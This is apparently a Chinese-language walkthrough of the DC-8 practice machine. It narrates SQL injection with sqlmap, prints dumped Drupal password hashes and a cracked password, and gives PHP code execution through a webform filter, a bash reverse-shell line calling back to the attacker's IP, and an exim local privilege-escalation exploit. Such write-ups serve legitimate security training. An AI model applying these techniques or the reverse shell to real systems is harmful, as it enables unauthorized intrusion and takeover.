惯例先扫端口
{"ip":"192.168.68.168","port":22,"service":"ssh","Banner":"SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u1\\x0a","url":""} {"ip":"192.168.68.168","port":80,"service":"http","Banner":"","url":"http://192.168.68.168:80"} {"url":"http://192.168.68.168:80","StatusCode":200,"Title":"WelcometoDC-8|DC-8","HeaderDigest":"server:Apache","Length":8044,"KeywordFinger":"Drupal","HashFinger":""}
还是drupal
,首页写了,后面将会暂停服务,需要修复一些很严重的问题,应该是有漏洞
扫目录,在robots.txt
发现CHANGELOG.txt
,里面有版本7.67
searchsploit
看下有没有可用漏洞
试了一遍没有可用的,继续看看功能点
在访问/?nid=1
的时候,加引号有报错,判断存在sql注入,而且泄露了web路径/var/www/html/
,有直接写shell的可能
直接sqlmap一把梭,试了下可能是没有写权限,然后就拖了下数据,有两个用户,密码加密过(unix)
uid,data,init,mail,name,pass,login,theme,access,status,created,picture,timezone,signature,language,signature_format 0,NULL,<blank>,<blank>,<blank>,<blank>,0,<blank>,0,0,0,0,NULL,<blank>,<blank>,NULL 1,"a:2:{s:7:""contact"";i:0;s:7:""overlay"";i:1;}",dc8blah@dc8blah.org,dcau-user@outlook.com,admin,$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z,1567766626,<blank>,1567766818,1,1567489015,0,Australia/Brisbane,<blank>,<blank>,filtered_html 2,"a:5:{s:16:""ckeditor_default"";s:1:""t"";s:20:""ckeditor_show_toggle"";s:1:""t"";s:14:""ckeditor_width"";s:4:""100%"";s:13:""ckeditor_lang"";s:2:""en"";s:18:""ckeditor_auto_lang"";s:1:""t"";}",john@blahsdfsfd.org,john@blahsdfsfd.org,john,$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF,1567497783,<blank>,1567498512,1,1567489250,0,Australia/Brisbane,<blank>,<blank>,filtered_html
分别跑了下,只有john
能跑出来turtle
直接登录(上面判断可以登录有两个原因,一个是之前做了很多遍drupal
相关的靶场,第二个是robots.txt
里有登录路径)
在edit
功能里有上传图片的功能,存在后端检测,把webshell写在图片内容后面即可(检测幻数),但无法解析
在找文件包含功能点的时候,发现了form settings
(Contact US
页面 -> Web Form
-> Form settings
),里面有DC-7
中的filter
刚刚那个设置是提交后的显示页面,所以提交一下表单就可以执行
顺手看了下里面的信息
直接把上面设置里的phpinfo();
换成eval(xxx)
,用蚁剑连接(需要把请求头Cookie
加到蚁剑连接的设置里,当然也可以另外写个shell,后面发现没有写权限)
用插件iconv
模式直接绕过disabled_functions
在/tmp
下写文件/bin/bash -i >& /dev/tcp/192.168.68.190/1111 0>&1 2>&1 &
(因为直接执行蚁剑会出错),/bin/bash xxx
弹个shell
惯例用LinEnum.sh
收集下信息
Linux dc-8 4.9.0-4-amd64 #1 SMP Debian 4.9.51-1 (2017-09-28) x86_64 GNU/Linux
Debian GNU/Linux 9 (stretch)
/etc/passwd
,有俩可登录用户
root:x:0:0:root:/root:/bin/bash dc8user:x:1000:1000:dc8user,,,:/home/dc8user:/bin/bash
SUID files,有ping
试试ping提权,但遇到了报错,后面查看ping
和tmp
也是同一分区下的,不知道为啥执行不了
那就换一个看看,挨着看了一遍,只有exim
可能存在提权漏洞,看下版本4.89
searchsploit
查一下,有本地提权漏洞
把脚本上传,运行,先运行了几次都没效果,看了下说明,直接运行是setuid
模式,还有个模式是netcat
,可以通过./46996.sh -m netcat
来完成
拿到flag
忽然想起,那个账户dc8user
还没有用到,想看看是不是跳过了什么步骤,去搜了搜wp,没有一个提到了dc8user
......
那就自己探索一下,但shell
不稳定,没有操作一小会儿就会断掉
所以为了方便操作,试了下执行一个重复运行的反弹shell脚本,但还是会断,又试了试添加账号,改root
密码,结果发现都连不上去
这时候想起来/home/dc8user
有个文件.google_authenticator
,这是2fa
验证器的密钥
手机上用Authenticator
把这一串加进去,就有一次性口令了(类似steam
令牌)这个app没法截屏,就不展示了,这里用一次性口令就可以登录
因为邮件系统用的是exim
,所以上面提权的时候会有邮件进来
但我们是不知道dc8user
密码的,也没有可用信息没法提权,值得注意的是,可登录用户的/tmp
和www-data
的/tmp
不是同一个,这也是上面尝试ping
提权失败的原因(无法跨分区创建硬链接)
所以,这个账号很有可能只是误导人的,去看了下官方推荐的wp,发现确实没有用到 = =